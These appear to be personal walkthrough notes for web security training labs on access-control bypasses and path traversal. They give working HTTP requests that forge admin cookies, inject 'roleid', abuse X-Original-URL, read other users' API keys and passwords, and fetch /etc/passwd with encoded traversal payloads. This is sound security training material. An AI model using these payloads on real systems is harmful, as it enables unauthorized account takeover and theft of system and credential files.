π Resources π
Find the admin panel and delete the user
carlos
.
GET /robots.txt
# Response
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45
User-agent: *
Disallow: /administrator-panel
GET /administrator-panel
GET /administrator-panel/delete?username=carlos
# User deleted
Find the unpredictable admin panel and delete user
carlos
.
GET /login
- Admin panel found in the code of the
/
or/login
page response for example
<script>
var isAdmin = false;
if (isAdmin) {
var topLinksTag = document.getElementsByClassName("top-links")[0];
var adminPanelTag = document.createElement('a');
adminPanelTag.setAttribute('href', '/admin-ge6wcp');
adminPanelTag.innerText = 'Admin panel';
topLinksTag.append(adminPanelTag);
var pTag = document.createElement('p');
pTag.innerText = '|';
topLinksTag.appendChild(pTag);
}
</script>
GET /admin-ge6wcp
GET /admin-ge6wcp/delete?username=carlos
# User deleted
Access the
/admin
panel and use it to delete usercarlos
.Admin panel use a forgeable cookie to identify administrators.
User's creds:
wiener
:peter
POST /login
# The response sets the cookie
GET /admin
- Send this request to the repeater and forge the cookie with
Admin=true
- Delete user
carlos
once the admin panel login is bypassed. - Burp Proxy interception (or browser Dev Tools) can be used too, while logging in, to set the Cookie to
Admin=true
, and to access the Admin panel from/my-account
.
# Request
GET /admin/delete?username=carlos HTTP/2
Host: 0a060030038bec7c8214d8b600eb00c1.web-security-academy.net
Cookie: Admin=true; session=dxgdmGbBWv76i4PMyyDoYYW666smj1er
...
App's
/admin
panel is accessible only to users withroleid
= 2.Access the
/admin
panel and use it to delete usercarlos
.
POST /login HTTP/2
...
username=wiener&password=peter
- Once logged in, update the email
POST /my-account/change-email
- Send this POST request to the repeater and add
"roleid:2"
into the JSON body
POST /my-account/change-email HTTP/2
Host: 0a2200c20471b32f842c9ada00f700c3.web-security-academy.net
...
{"email":"[email protected]",
"roleid": 2
}
- Browse to
/admin
and delete user
External access to
/admin
panel is blocked at front-end. Back-end supportsX-Original-URL
header.Access the
/admin
panel and use it to delete usercarlos
.
GET /admin
- Send a Request to
/
with anX-Original-URL
header pointing top a non-existing resource- With re response
404 Not Found
it means the app supports the special request headers
- With re response
GET / HTTP/2
X-Original-Url: /invalid
...
- Send an allowed URL as main and the real target in the
X-Original-URL
GET / HTTP/2
X-Original-Url: /admin
...
- Delete user using the
X-Original-Url
header
GET /?username=carlos HTTP/2
X-Original-Url: /admin/delete
...
App's access control is based on the HTTP method of requests.
Admin creds:
administrator
:admin
.Login with
wiener
:peter
credentials and exploit the access control to promote the user to an administrator.
- Login as
administrator
, promotecarlos
and send the request to the repeater
- Login with
wiener
in an incognito windows and get the session cookie. Input the session cookie in the existing repeater request ->Unauthorized
- Change the method to
POSTX
->Missing parameter 'username'
- Right click on the request and convert it to
GET
withChange request method
- Set the username to
wiener
and send it GET
method is allowed
- Set the username to
GET /admin-roles?username=wiener&action=upgrade HTTP/2
wiener
user has access to the admin panel now
Login with
wiener
:peter
credentials and exploit the horizontal privesc vulnerability on the account page to getcarlos
's API key.
- Login as
wiener
and send the request to the repeater - Change the
id
toid=carlos
and send the GET request to get the Carlos's API key
GET /my-account?id=carlos HTTP/2
- Click the
Submit solution
button and paste the API key to solve the lab -eXXoHWSpwaZpxBAXr7MbVt9GMoEuCpy9
The app identifies users with GUIDs.
Login with
wiener
:peter
credentials and exploit the horizontal privesc vulnerability on the account page to getcarlos
's GUID and API key.
- Find a
carlos
blog post and get its user ID./blogs
leaks the account'suserID
userId=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c
- Login as
wiener
, go to the account page and send the request to the repeater - Change the
id
toid=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c
and send the GET request to get the Carlos's API key
GET /my-account?id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c HTTP/2
- Click the
Submit solution
button and paste the API key to solve the lab -p3UtBNlmwKtAnEf0PKgBcW9sPQNJcMLq
The app leaks sensitive information in the body of a redirect response
Login with
wiener
:peter
credentials and exploit the access control vulnerability to getcarlos
's API key.
- Login as
wiener
, access the account page via browser and change theid
toid=carlos
and send the GET request to get the Carlos's API key
GET /my-account?id=carlos HTTP/2
# Response
HTTP/2 302 Found
- This request is redirected to the login page. Check the redirect body content in BurpSuite and find the
carlos
API key
- Click the
Submit solution
button and paste the API key to solve the lab -ah9Nwj1bvuWv5uvWPK86EBHZCnghqRHe
The user account page leaks password in a masked input.
Login with
wiener
:peter
credentials, retrieveadministrator
password and deletecarlos
user.
- Login as
wiener
and access the account page - Change the
id
toid=administrator
and check the response containing the administrator's password
- Login as
administrator:dta5qwrsg998j416zqh0
and deletecarlos
π Resources π
Open BurpSuite
- Turn off the intercept - Open its internal Browser and open the lab link - Check HTTP history
for intercepted requests - Check Images
in the Filter settings
- Find a fetched product image Request
- right click on it and
Send to Repeater
, or select it and pressCTRL+R
- right click on it and
- Change the Request
# From this
GET /image?filename=5.jpg
# To this
GET /image?filename=../../../etc/passwd
The app blocks path traversal sequences but treats the filename as relative to a default working directory.
GET /image?filename=21.jpg
GET /image?filename=../../../etc/passwd # 400 Bad Request
# Try with absolute path
GET /image?filename=/etc/passwd
The app strips path traversal sequences from the supplied filename before using it.
GET /image?filename=....//....//....//etc/passwd
The app blocks input containing path traversal sequences and then performs URL-decode before using it.
- With
../../../etc/passwd
it does not work - Use BurpSuite Decoder to double URL-Encode the
../../../etc/passwd
string\
/
should always be encoded
..%2f..%2f..%2fetc%2fpasswd # 400 Bad Request - URL-encoded once
# Doubl URL-Encoded
GET /image?filename=..%252f..%252f..%252fetc%252fpasswd
The application transmits the full file path and validates that it starts with the expected folder.
GET /image?filename=/var/www/images/../../../etc/passwd
# or (better)
GET /image?filename=%2fvar%2fwww%2fimages%2f..%2f..%2f..%2fetc%2fpasswd
The app validates the supplied filename end with expected file extension.
- Use a null byte character
\0
to represent the end of the string../../../etc/passwd\0.png
>..%2f..%2f..%2fetc%2fpasswd%00.png
- the O.S. requests retrieval of the string, it assumes the string is terminated after
passwd
GET /image?filename=../../../etc/passwd%00.png
# URL-encoded
GET /image?filename=..%2f..%2f..%2fetc%2fpasswd%00.png